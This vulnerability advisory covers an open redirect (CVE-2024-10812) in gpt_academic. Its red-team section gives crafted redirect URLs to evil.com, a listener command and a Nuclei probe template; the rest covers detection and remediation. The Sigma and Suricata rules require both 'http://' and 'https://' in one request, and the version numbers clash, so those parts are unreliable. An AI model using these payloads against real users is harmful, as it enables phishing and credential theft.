CVE-2024-10812

Executive Summary

CVE-2024-10812 is an open redirect vulnerability in binary-husky/gpt_academic version 3.83. The flaw exists in the /file= endpoint, where user-controlled input is used to construct a redirect URL without proper validation or sanitization. An attacker can craft a malicious link that redirects an authenticated user to an external, attacker-controlled domain. This can be leveraged for phishing attacks, malware distribution, and credential theft. The vulnerability has a CVSS score of 6.1 (Medium) and a public proof-of-concept (Nuclei template) is available. No official patch has been released at the time of analysis.

Supply Chain & Package Security

This is a Python-based open-source project (PyPI package: gpt_academic). The vulnerability is in the application's own code, not in a dependency. However, users should verify the integrity of their installation and monitor for any malicious forks or packages that may exploit this vulnerability.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed to trigger the redirect.
• User Interaction (UI): Required (R) - The victim must click the crafted link.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope (redirects to external domains).
• Confidentiality (C): Low (L) - Limited information disclosure possible via phishing.
• Integrity (I): Low (L) - Limited ability to modify data via redirect.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The primary risk is social engineering and phishing.

Deep Dive & Mechanics

The vulnerability is located in the file handling logic of gpt_academic. When a user accesses a URL like /file=https://attacker.com, the application takes the value of the file parameter and uses it as a redirect target in an HTTP response header (Location). The code does not validate whether the target is an internal or external domain, nor does it sanitize the input.

Root Cause: Lack of input validation on the file parameter. The application should only allow redirects to internal paths or whitelisted domains.

Attack Flow:

1. Attacker crafts a URL: https://victim-gpt-academic.com/file=https://evil.com/phish
2. Attacker sends this link to a victim (e.g., via email, social media).
3. Victim clicks the link and is redirected to https://evil.com/phish.
4. The attacker's site can mimic the login page of gpt_academic or another service to steal credentials.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# In the file handling route
redirect_url = request.args.get('file')
return redirect(redirect_url)

Patched Code (Conceptual):

# In the file handling route
redirect_url = request.args.get('file')
# Validate that the URL is internal
if not is_safe_url(redirect_url):
    abort(400, "Invalid redirect target")
return redirect(redirect_url)

A proper patch would implement a whitelist of allowed domains or ensure the redirect is only to relative paths.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of gpt_academic v3.83.
• A listener on an attacker-controlled server (e.g., https://evil.com).

Exploit Steps:

1. Start a web server to capture redirected traffic (e.g., using Python):

   python3 -m http.server 8080
   

2. Craft the malicious URL:

   http://<victim-ip>:<port>/file=http://<attacker-ip>:8080
   

3. Send the link to the victim via email or social engineering.
4. When the victim clicks, they are redirected to the attacker's server. The attacker can log the request and serve a phishing page.

Nuclei Template (Provided):

id: CVE-2024-10812

info:
  name: GPT Academic v1.3.9 - Open Redirect
  author: DhiyaneshDK
  severity: medium
  description: |
    An open redirect vulnerability exists in GPT Academic v1.3.9, where the file parameter in the /file= endpoint can be manipulated to redirect users to malicious websites. This could facilitate phishing attacks by tricking users into visiting attacker-controlled URLs.
  impact: |
    Unauthenticated attackers can redirect users to malicious URLs via the file parameter, facilitating phishing attacks and credential theft.
  remediation: |
    Update GPT Academic to a version newer than v1.3.9.
  reference:
    - https://huntr.com/bounties/51408ebd-e0be-489d-8088-f210087dbd6a
  classification:
    epss-score: 0.00729
    epss-percentile: 0.72739
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="gpt_academic"
  tags: cve,cve2024,huntr,redirect,oss,gpt_academic,binary-husky,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "gpt_academic", "gptacademic")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/file=https://oast.pro"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)oast\.pro.*$'

Usage: Run the Nuclei template against the target:

nuclei -t CVE-2024-10812.yaml -u http://target.com

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /file= followed by an external domain.
• Look for HTTP response headers containing Location: pointing to external domains.

Defense:

• Implement input validation: only allow redirects to relative paths or a whitelist of internal domains.
• Use a web application firewall (WAF) to block requests with external URLs in the file parameter.
• Educate users about phishing attacks and the risks of clicking untrusted links.

Indicators of Compromise (IOCs)

• URL Pattern: */file=https?://* (any external domain)
• HTTP Response Header: Location: https?://* (external domain)
• Log Entry: GET /file=https://evil.com with a 302 response code.
• Network Traffic: Outbound connections to unknown or suspicious domains shortly after a redirect.

Detection Engineering

YARA Rule

rule CVE_2024_10812_Open_Redirect {
    meta:
        description = "Detects open redirect attempts in GPT Academic logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10812"
    strings:
        $redirect = "/file="
        $http = "http://"
        $https = "https://"
    condition:
        $redirect and ($http or $https)
}

Sigma Rule

title: GPT Academic Open Redirect Attempt
id: 7a8b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests to GPT Academic with an external redirect target
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains: "/file="
        cs-uri-query|contains|all:
            - "http://"
            - "https://"
    condition: selection
falsepositives:
    - Legitimate redirects to internal resources (if any)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10812 GPT Academic Open Redirect Attempt"; flow:to_server; content:"/file="; http_uri; content:"http://"; distance:0; within:100; content:"https://"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not needed, or restrict access to it via a reverse proxy.
2. Implement input validation to only allow redirects to internal paths (e.g., /file=local/path).
3. Use a WAF to block requests with external URLs in the file parameter.

Long-Term Fix:

• Update to a patched version once released by the vendor.
• Fork the repository and apply the fix yourself if no patch is forthcoming.

Workaround:

• Modify the application code to validate the file parameter against a whitelist of allowed domains or paths.

Valters IT

{/* [Security Hash: 11D77ACF9A4CAD3D39DE6BA9] */}